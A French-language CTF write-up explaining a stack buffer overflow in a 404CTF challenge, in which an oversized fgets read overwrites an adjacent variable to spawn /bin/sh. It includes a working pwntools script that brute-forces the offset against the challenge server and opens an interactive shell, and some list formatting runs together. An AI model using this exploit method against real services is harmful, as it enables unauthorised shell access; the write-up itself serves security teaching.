Le but de ce tutoriel est de comprendre comment un débordement de tampon (Buffer Overflow) permet de modifier une variable critique en mémoire pour forcer l'ouverture d'un accès shell (/bin/sh).
Quand un programme s'exécute, il réserve un espace temporaire en mémoire appelé la pile pour stocker ses variables locales. Dans le code de Marie Curie, deux éléments cruciaux se suivent dans cet espace :
Plaintext
[ Basse Mémoire ]
│
▼
┌──────────────┐
│ reponse[48] │ <-- Votre saisie commence ici et se remplit vers le bas.
├──────────────┤
│ ingredient │ <-- Variable cible (Initialement : 0x00000042)
└──────────────┘
│
▼
[ Haute Mémoire ]
Le tableau reponse possède une taille fixe de 48 octets.
Cependant, l'utilisation de fgets(reponse, 128, stdin); autorise le programme à lire jusqu'à 128 octets. Si vous envoyez plus de 48 octets, les données en trop vont déborder du tableau reponse et s'écrire directement par-dessus la variable ingredient.
Pour valider l'épreuve, la variable ingredient (qui vaut 0x42) doit impérativement devenir égale à 0x84168802.
L'exploitation se déroule en deux phases combinées dans une seule chaîne de caractères (le payload) :
A) pour remplir intégralement le tableau reponse jusqu'à atteindre la frontière de la variable ingredient.0x84168802).Deux pièges techniques bloquent souvent les débutants à cette étape :
Bien que le tableau mesure 48 octets dans le code source, le compilateur (GCC) organise la mémoire pour qu'elle soit optimisée pour le processeur (alignement sur des blocs de 8 ou 16 octets). Il ajoute souvent de l'espace vide invisible. La distance réelle (l'offset) entre le début de votre saisie et la variable peut donc être de 48, 52, 56, 60 ou 64 octets.
Les processeurs modernes (x86_64) lisent les octets à l'envers. La valeur hexadécimale 0x84168802 doit être envoyée dans l'ordre suivant sur le réseau : \x02\x88\x16\x84.
Pour éviter de chercher l'offset à la main en envoyant des payloads à l'aveugle, ce script Python utilise la bibliothèque pwntools pour tester automatiquement les différents alignements possibles jusqu'à déclencher l'ouverture du shell.
Python
from pwn import *
context.update(arch='amd64', os='linux', log_level='info')
# 1 URL, port et valeur_cible à modifier selon CTF
host = 'spawn.ctf.fr'
port = 1030
valeur_cible = 0x84168802
# 2. Boucle de recherche de l'alignement (de 40 à 112 octets, de 4 en 4)
for offset in range(40, 112, 4):
print(f"[*] Test de la structure avec un décalage de {offset} octets...")
try:
# Connexion temporaire au serveur
p = remote(host, port)
# Construction du payload personnalisé
# p32() convertit automatiquement l'entier en 4 octets au format Little-Endian
payload = b'A' * offset
payload += p32(valeur_cible)
# Passage de l'introduction du challenge
p.recvuntil(b"bon ingredient ?\n")
# Envoi de la charge utile
p.sendline(payload)
# Réception de la réponse du serveur
reponse = p.recvall(timeout=1)
# Analyse de la réponse : si le mot 'Bravo' apparaît, l'offset est le bon !
if b"Bravo" in reponse or b"trouve" in reponse:
print(f"\n[+] Alignement exact identifié : {offset} octets !")
# Réouverture de la connexion en mode interactif pour utiliser le shell obtenu
context.log_level = 'debug'
connexion_finale = remote(host, port)
connexion_finale.recvuntil(b"bon ingredient ?\n")
connexion_finale.sendline(payload)
print("[+] Accès Shell actif. Vous pouvez interagir.")
connexion_finale.interactive()
break
p.close()
except Exception as e:
print(f"[-] Échec sur l'offset {offset} : {e}")
if 'p' in locals():
p.close()
Une fois le script lancé :
offset = 48, puis 52, puis 56, etc.if (ingredient == 0x84168802) devient vraie et le serveur exécute system("/bin/sh").[+] Switching to interactive mode).$ ls
flag.txt binaire
$ cat flag.txt
404CTF{...ici_le_flag_de_l_epreuve...}